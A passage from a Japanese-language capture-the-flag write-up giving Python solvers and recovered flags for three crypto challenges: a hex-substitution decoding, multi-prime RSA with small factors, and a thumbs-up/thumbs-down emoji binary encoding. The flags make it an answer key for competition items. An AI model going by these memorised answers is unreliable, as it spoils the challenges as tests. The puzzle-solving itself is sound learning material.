print('[*] flag:', flag)

実行結果は以下の通り。

[+] unknown: 9
[+] unknown: 2
[+] unknown: 3
[+] unknown: c
[+] unknown: f
[+] unknown: 3
[+] unknown: 2
[+] unknown: c
[+] unknown: c
[+] unknown: f
[+] unknown: c
[+] unknown: 7
[+] unknown: f
[+] unknown: 7
[+] unknown: c
[+] unknown: f
[+] pt: 696374667b6d696*69746*7*79**677*6*646***6*6*636*64696*67**6674777d
[+] flag: ictf{mi*it**y*g**d****c*di*g*ftw}
[+] d: {'0': '6', 'd': '9', 'b': '3', '1': '7', '8': '4', 'e': 'b', '6': 'd', 'c': '5', 'f': 'f', '7': 'e', '9': 'c', '2': '1', '3': '2'}
[+] pt: 696374667b6d696c69746172795f67726164655f656e636f64696e675f6674777d
[*] flag: ictf{military_grade_encoding_ftw}
ictf{military_grade_encoding_ftw}

huge (Crypto)

RSA暗号だが、p, qは200個以下の10ビット素数の積になっているので、Multi prime RSA暗号として復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy import *

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' = ')[1])
e = int(params[1].split(' = ')[1])
c = int(params[2].split(' = ')[1])

fac = factorint(n)

phi = 1
for k, v in fac.items():
    phi *= (k - 1) * pow(k, v - 1)

d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
ictf{sm4ll_pr1mes_are_n0_n0_9b129443}

emojis (Crypto)

絵文字は下向きと上向きの指の絵なので、0, 1に置き換え、デコードする。

#!/usr/bin/env python3
with open('emojis.txt', 'rb') as f:
    enc = f.read()

enc = enc.replace(b'\xf0\x9f\x91\x8e', b'0')
enc = enc.replace(b'\xf0\x9f\x91\x8d', b'1')

flag = ''
for i in range(0, len(enc), 8):
    flag += chr(int(enc[i:i+8], 2))
print(flag)
ictf{enc0ding_is_n0t_encrypti0n_1b2e0d43}